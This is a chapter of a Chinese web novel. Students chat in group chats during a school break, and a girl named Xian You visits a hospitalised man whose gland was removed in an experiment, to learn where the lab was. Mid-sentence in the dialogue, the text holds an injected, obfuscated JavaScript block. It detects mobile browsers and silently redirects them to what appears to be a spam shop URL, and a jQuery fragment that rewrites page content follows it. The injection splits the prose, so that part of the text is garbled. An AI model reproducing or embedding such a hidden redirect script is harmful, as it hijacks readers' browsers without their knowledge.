三中期末考完试会放三天假期是用来给教师判卷子的时间，而学生们对于这白给的三天假则是喜哀各占一半。喜的是可以痛痛快快玩不用想别的，哀则是这是得出成绩之前最后的狂欢。


    这不一放假学校没有老师的大群就彻底放开了自我，从天南说到地北，各大游戏截图霸占屏幕，全然没有平时的死气沉沉。其中还有邀请出去玩的，因为单独再加群太费劲了，索性就全在里头，而这也引出各种千奇百怪的切切冤冤，能说非常精彩万分。


    平时都在学校里低头抬头都见面的，隔着薄薄的网络也聊得热烈。


    千万级分化的大场面。


    望全躺在床上浏览着一个个群的消息，实在是太多了都是99+，幸好事先设置了免打扰，不然就是一场噩梦。


    光是看了一个群的消息就够手指一梦，他干脆切出来群只看那几个大热门的群聊，其他的爱咋咋地吧，反正有免打扰。


    首当其冲的就是后来组建的年级乱炖群，小到高一小老弟们，稳中承接的高二二哥，即将远走的老三哥高三，可以说是应有尽有据说里头还有不为人知的老师小号，但全部都在里头来谁也分不出来是谁。


    绝对不是聊起天来的融合率太高。


    望全点进去的时候刚好看到他们在分享各自的假期计划，反正这三天没有作业安排，可不就是撒开了玩。其中五班的明显是组织了一场班级郊游活动，往群里刷出了照片，其他班纷纷出来让五班当了回两秒的老大哥，然后就被排挤下去。也不知是谁被打通了任督二脉居然晒出了书桌：“趁现在我卷死你们。”然后被拉入了黑名单。


    望全点开卷王的头像，那是张字迹不同的白纸，甚至空白处还有某人随手画的简笔画猫头。


    那天的小课堂可旁听了很多人，很快就有人发现了玄机。


    9班凯歌：@11班周文，你们班要疯啊至于把学习笔记当情书保存。


    11班周文：你当时可偷拍了不少照片，可别以为我不知道。


    8班白黎：我有幸听到了黑马的课堂，好帅啊


    7班司景：啧啧这你就高兴了，我可是听到了羡由的小课堂，谁再说她只是文科霸主我就把谁脑瓜子摘下来当球踢。


    5班全秋：早知道就不在班里聊天了哭哭哭。


    2班周景：嘿嘿这算啥我还跟羡由望全一起吃过饭，嘿嘿～


    一语激起千层浪，一浪拍死另一浪。


    3班古寒月：天凉了让周景被作业埋没吧，还暖和点


    4班芮闪宁：天凉了让周景被作业埋没吧，还暖和点


    2班瑜笙：天凉了让周景被作业埋没吧，还暖和点


    2班薛意：天凉了让周景被作业埋没吧，还暖和点


    ……


    2班周景：叛徒.jpg


    1班王藤：一拳抡死楼上.jpg


    2班周景：怎么这样，腾哥


    2班周景：可怜兮兮.jpg


    1班姚游：不忍直视.jpg


    好好一群人解放之后愣是成为了魔丸。


    望全翻个身后头的内容就不想再看了，切出群聊点开跟羡由的聊天记录。


    NN：需不需要帮忙？


    风筝：怎么还想再来次见家长


    风筝：不怀好意的笑.jpg


    NN：说正经的呢！


    风筝：怎么不算正经的啦，放心吧比起我，你更需要关注的是后头的三好学生选举，我这边没事


    风筝：当然你要想拉票，我可以远程给你投一票哦，可爱


    NN：你可真是的


    风筝：嘿嘿可不要被我迷住了哦


    NN：不放心


    风筝：别担心我会每天都告诉你动态，让你也感受下查岗的待遇


    对话就停止在这里，望全不知道对方在干什么，但他想到那天羡由的脸色，即使是一闪而过，也敏锐的察觉出不是轻描淡写的那种事。


    自那天后不安始终萦绕在他的心头，点开聊天框的手也是打了字又删除，持续了很久很久，对面也没有任何反应，甚至于上面的“正在输入中”都没有。


    他终是没有打出一横字，把手机熄屏扔到床边，随后把被子重新拉到头顶，默默在里头待着。


    外头的压缩机嗡嗡作响，足以证明屋内的冷气正在以最大最高的功率在输出。阳光明媚的外头并非是安逸的，而是躁动的不留余力的在奔跑，不曾停留。


    羡由静静站在路边，不远处就是静谧的居民区，就连阳光都给足了偏爱，透过树木疯长的枝桠撒在游乐区嬉戏的孩童身上，点亮了童音稚嫩，延长了欢声笑语。


    明苏这座城市跟从前并无变化，就连她手边的路灯都还是陈旧的，偶尔驶过的车流放慢了两边的人流，她曾短暂驻留的地方，不知是否还会欢迎久别的故人。


    婉转的音乐响了起来，羡由一愣，垂在身侧的手隔着裤兜碰到了震动的手机，才后知后觉的想起她变更了来电铃声。


    接起电话，羡繁承的声音透过听筒传到耳朵里：“我到了，这里跟从前没有什么变化，是我知道，还是决定坐地铁去医院，我现在还不想进去里头，知道了，嗯。”


    许是到了旧地，往日总会吵起来的气氛也被柔和了。她盯着熄灭的手机屏幕，最后看了眼对面的小区，用手里的手机拍下一张照片。


    风筝：姐姐我回来了


    她这才关上手机，走向不远处的地铁站。


    车站里可比外头要凉快不少，她用手机扫码进站，趁着地铁还没来琢磨起旁边的路线图。到底有年份了，地铁路线都增多了，从前郊区都没有地铁线的，比起坐地铁明苏绝大多数还是公交要么是骑车。


    陷入幻想的时候时间就会流失很快，等候的车型驶进隧道最终停在站台，门一开她走进车厢内，这个时候明苏的学校还没有放学，又是工作日乘客并不多，随意找了个空座位坐下。


    地铁算是她为数不多会玩手机的交通设施，其次是动车高铁，其他地方不是在看风景就是在睡觉，身体也会在关键时候苏醒过来。


    一拿出手机就点开微信，她点开最上头属于羡年的聊天框，在频道里输入：姐姐明苏的地铁又增加新路线了，你说说它加路线的时候地上肯定挤死了。


    风筝：幸好姐姐日常出行都很方便，周围商场学校什么都齐全了


    风筝：对了对了姐姐刚刚我在小区外头的时候可看到了游乐区域增加了秋千，想起了花园的时候多好呀


    风筝：放心这次不会突然飞出去扑进花瓣海里，会好好走进花瓣海里躺进去


    ……


    羡由就一路絮絮叨叨坐到了目的地。


    风筝：姐姐我到了，剩下的等我回去再聊吧


    风筝：爱你哟.jpg


    发完她走出车站，外头的阳光还是太过刺眼了，摘下头顶的墨镜戴在鼻梁上，周来人来人往，她与人流擦肩而过，走进对面的医院里。


    不管是哪个地区的医院都是一个样子，空气里充斥着消毒水的气味，偶尔能听见抽泣声，更多的是拿着缴费单、化验单匆匆而过的身影。


    羡由按照羡繁承给的地址轻车熟路地坐电梯赶到住院部，层楼相隔的砖墙挡住了凄凄怨怨，住院的地方很安静，偶尔能听见病房里的说话声。


    寻着病房的号码走进其中一间病房，里头并非开头那几间六人并非，也不是后面的三、人病房，这里是二人病房，旁边的床铺并没有居住的迹象，也相当于单人病房。


    开门的床位躺着一年轻男人，手里正拿着手机眼也不眨地盯着屏幕，聚精会神的样子丝毫没有受到打扰。


    羡由刻意加重了脚步声，在安静的病房里格外明显，男人也没舍得从手机里抬头，只道：“上午不是刚检查完吗？”


    没有得到回话，男人这才从手机屏幕里抬起头，往出声的地方看了过来，然后愣住了，戴着墨镜的女生让他下意识喊出了：“羡年。”


    “她已经死了。初次见面我是她妹妹羡由。”羡由摘下墨镜放在脑瓜顶上：“在这待着还习惯吗，下落不明的唐综先生，唐宁先生很想你呦。”


    她不曾分清唐宁唐综俩兄弟，但也足以厌恶俩兄弟就靠那段苟合的视频，甚至于再跟唐宁谈话时恶语相向，不曾顾及对方的心防，尤其是再看了优盘里的内容后，对这俩个人又有了更深一层的认知，毕竟是实验的牺牲品，光凭这点并不能软和她说话的语气，但也是信的传递能让她软和语气。


    她的目光不动声色的从对方发红的眼眶，扫完了整个人，最后停留到被纱布包裹的脖子，后面看不到腺体了。


    唐综亲眼看到女生摘下墨镜，耳畔还停留着自我介绍，他对于羡由的所有认知来自于羡年，当听说是双胞胎的时候，他也曾幻想过相同气息的女生，如今亲眼见到还是感觉到不真实。


    然而对方不加掩饰的目光游荡在身上，最后落在脖子上，还是叫他下意识捂住后颈。


    “有什么好捂的，怎么没了腺体就无法再勾引人了吗。”羡由说。


    用着羡年的脸和身形说出了如此残忍的话，唐综险些心弦动荡，后颈上的手是放也不是，不放也不是，尴尬用指尖地触摸着纱布。


    “还以为你会镇定自若，没想到没了的腺体连带脸皮都薄了。”羡由随手拉过看护椅坐在床边，并不在意自己的语气是划人的刺刀，该说就说：“我想姐姐可没有对你说过这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270687|191320||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    种话，如何见到羡年的妹妹是这样会遗憾吗？”


    过了老半天，唐综才反应过来垂下手，瞥眼大敞开的病房门“嗯”了声。


    “做都做了还怕别人听见。”羡由真的丝毫不带给面子的，纵使对面白了脸色也没有停止，“你应该不知道你哥哥为了完成任务，老爷子生病他没钱然后借了高利贷，最后差点被债主给□□了。”


    “不——不这跟他没有关系。”唐综叫嚷着。


    “你都是死人了还想着给你哥撑腰。”羡由静静看着男人逐渐陷入情绪的漩涡，浅薄的被褥被男人攥在手里紧紧的，又一次发出暴击：“老爷子病很重，经不起手术治疗了，没几天活头了。”


    话落的瞬间，唐综已经不知道当初为啥要跟程宇搞在一起，或许是为了钱，但确实是他亲手把他们一家拉入噩梦。


    不见天日的日子里蜗居在简陋的实验室，剥离出身体的腺体导致痉挛到崩塌的身体，虽然得到治疗身体无恙但也没办法出现在家人面前。


    曾经游离在有钱人身边的风流倜傥，早已伴随甜腻的离开不复存在。


    可他无法对床边的女生说半个“不”字，就凭救他命的是羡家，帮了唐宁燃眉之急的是羡由，而他是插手人家婚姻的第三者，本身就是抬不起头的。


    手里的被褥最终还是被他攥破了，划出很大的口子，线条的爆裂蹦出的断线，纤细的胳膊攥紧床杆，地下了萎靡的摇杆。


    他说：“我很抱歉插手了你的家庭，也没能帮上忙，最后还要靠你们来救我的家。”


    羡由说：“你确实该谢谢我们，在这之前我有件事要问你，你还知道实验室的地址吗？”


    “我也不是很清楚，当时我被蒙住了眼睛。”唐综回想起铁床的贴近皮肤的冰冷，浓郁的铁锈味，各种人的谈笑声：“我能听到很多人的说话声，他们离我很远又离我很近，但我没办法呼救。”


    “这样啊——”羡由低头思索，听起来是个很多人都会去到底地方，人流量很大却没有人注意的地方。


    明苏这种地方很多，按照这种查找方式无异于是大海捞针，除非是再有好去处。


    她问：“就没有再详细的描述了？”


    “对了，我还听到过木板以及摇篮的声响，其中还有类似于船远航的波涛，我虽然看不到却能听到说话，我能听到别人说过什么梨兰花海，可我只闻到铁锈味。”唐综说。


    随着他每说一句，羡由就在脑海里划掉一个区域，听到最后她的脸色变得很难看，抓紧了裤子，直到最后一句她锁定了地区，脸色比唐综这个病人还要白。


    程宇还真是个祸害，为了恶心到他们，为了自己的目的，还真是舍得下手。唐综说的地方她不光知道她还去过和羡年一起，那是唯一她跟羡年在明苏唱完过并约定下次再来的地方，当真是拥有很简单，也能轻而易举的被毁灭。


    她当真见不得姓“羡”的好。


    唐综没发现羡由的不对劲，还在努力的回想，殊不知接下来的发言彻底酿成了一场他不知道的风暴。


    他说：“我也不知道是不是我的错觉，有股若有若无的味道一直在环绕，但那时我浑浑噩噩的不敢确信直到晚上那股味道变得浓郁，有点像奶油，香醇浓厚的同时还有股淡淡的清新，似乎是一种花的味道。”


    羡由已经不确定自己是怎么离开的医院，这场对话对她对唐综而言都不好，一个是有意的插人心刀，另一个是无意的但对方有意的被捅刀，结果俩个人的心全部都千疮百孔，没有胜利者。晃晃悠悠的回了酒店，一直待在床上看着天花板，帘子没有拉从撒进窗内的阳光到柔和的月光。她眨了下干涩的眼睛，从床上坐起来饭也没吃就离开了酒店。


    外头在下雨，在纷纷避雨的人群里只有她在淋雨而行，显得古怪又无人在意。


    最终她停在那栋小区外头。


    雨夜仍然显得宁静，被浸湿的衣服紧紧贴在身上，承受不住的雨滴在脸上滑落，最后滴了下去。


    说起来那天的饼干她带到班上给分了，很酥很脆，就是有点苦。


    她觉得羡繁承就是故意的，明明能从那地方救出唐综，即使是随手的事，但也没告诉她。


    前天她还在跟望全在微信上聊天，聊些有的没的烂俗在世的小话，今天就得来了这一场消息，当真是天大的荒谬噶铺天盖地的来了挡也挡不住。


    羡由注视着被雨洗涮的小区名字，在这里她曾有过快乐时光，但也被毁灭过。


    如今她回来了，却无法令其恢复如初。


    手机在裤兜里，裤子被雨浸湿了，但手机是防水的。


    要是手机坏了就好了，因为这样就不用查岗了。


    羡由想。